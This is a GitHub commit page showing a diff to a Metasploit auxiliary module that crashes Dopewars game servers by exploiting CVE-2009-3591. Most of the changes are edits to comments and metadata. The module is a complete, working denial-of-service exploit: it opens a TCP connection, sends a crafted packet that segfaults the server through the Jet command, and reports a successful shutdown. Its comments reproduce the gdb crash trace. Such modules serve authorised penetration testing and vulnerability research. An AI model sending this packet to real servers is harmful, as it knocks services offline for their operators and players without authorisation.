Skip to content

Commit 4d6e19b

Browse files
committed
small edits to dopewars.rb
1 parent 0e607f8 commit 4d6e19b

File tree

1 file changed

+15
-11
lines changed

1 file changed

+15
-11
lines changed

modules/auxiliary/dos/dopewars/dopewars.rb

Lines changed: 15 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,14 @@
1-
# Dopewars DOS attack.
1+
# Dopewars DOS attack
2+
#
3+
# The Jet command is susceptible to a segfault.
4+
# This will crash the server but does not seem to be
5+
# exploitable any further.
6+
# This has been fixed in the SVN version.
7+
#
28

39
require 'msf/core'
410

5-
6-
class Metasploit3 < Msf::Auxiliary
11+
class Metasploit4 < Msf::Auxiliary
712

813
include Msf::Exploit::Remote::Tcp
914
include Msf::Auxiliary::Dos
@@ -15,13 +20,13 @@ def initialize(info = {})
1520
This module sends a specially-crafted packet to a Dopewars
1621
server, causing a SEGFAULT.
1722
},
18-
'Author' => [ 'dougsko' ],
19-
'License' => GPL_LICENSE,
20-
'Version' => '0.1.0',
23+
'Author' => [ 'Doug Prostko <dougtko[at]gmail.com>' ],
24+
'License' => MSF_LICENSE,
25+
'Version' => '0.0.1',
2126
'References' =>
2227
[
23-
[ 'URL', 'None' ],
24-
[ 'BID', 'None' ],
28+
[ 'URL', 'http://www.securityfocus.com/archive/1/archive/1/507012/100/0/threaded' ],
29+
[ 'BID', '36606' ],
2530
[ 'CVE', 'CVE-2009-3591' ],
2631
]))
2732

@@ -31,13 +36,13 @@ def initialize(info = {})
3136
def run
3237
connect
3338

34-
# jet command
39+
# The jet command is vulnerable.
3540
# Program received signal SIGSEGV, Segmentation fault.
3641
# [Switching to Thread 0xb74916c0 (LWP 30638)]
3742
# 0x08062f6e in HandleServerMessage (buf=0x8098828 "", Play=0x809a000) at
3843
# serverside.c:525
3944
# 525 dopelog(4, LF_SERVER, "%s jets to %s",
40-
45+
#
4146
pkt = "foo^^Ar1111111\n^^Acfoo\n^AV65536\n"
4247
print_status("Sending dos packet...")
4348
sock.put(pkt)
@@ -53,5 +58,4 @@ def run
5358
print_status("Dopewars server succesfully shut down!")
5459
end
5560
end
56-
5761
end

0 commit comments

Comments
 (0)